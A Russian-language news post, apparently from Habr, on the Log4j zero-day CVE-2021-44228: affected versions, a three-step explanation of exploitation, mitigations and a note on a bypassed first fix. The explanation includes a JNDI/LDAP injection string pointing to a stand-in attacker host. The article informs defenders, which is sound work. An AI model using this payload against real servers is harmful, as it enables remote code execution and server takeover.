Новая Zero-day уязвимость позволяет выполнение произвольного кода через журнал логирования log4j

Недавно обнаруженная уязвимость нулевого дня в широко используемой библиотеке логирования Java Apache Log4j легко эксплуатируется и позволяет злоумышленникам получить полный контроль над уязвимыми серверами.

6e7a8f02f04f41fdd4bb930df60773f1.jpg

Уязвимость, CVE-2021–44228, классифицируется как серьезная и позволяет выполнять удаленный код без аутентификации, поскольку пользователь, запускающий приложение, использует библиотеку логирования Java. Уязвимость была впервые обнаружена в Minecraft.

Затронуты все системы и службы, использующие библиотеку логирования Java, Apache Log4j между версиями 2.0 и 2.14.1, включая многие службы и приложения, написанные на Java. Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Выглядит это так:

  1. Посылаем специально сформированный запрос вида ${jndi: ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.

  2. JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host

  3. В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Временный фикс: JAVA_OPTS=»-Dlog4j.formatMsgNoLookups=true» или же обновить версии Log4j до log4j-2.15.0-rc1.

UPD:

Выявлен способ обхода защиты, добавленной выпуск log4j-2.15.0-rc1. Предложено новое обновление log4j-2.15.0-rc2 с более полной защитой от уязвимости. В коде выделяется изменение, связанное с отсутствием аварийного завершения в случае использования некорректно оформленного JNDI URL.

© Habrahabr.ru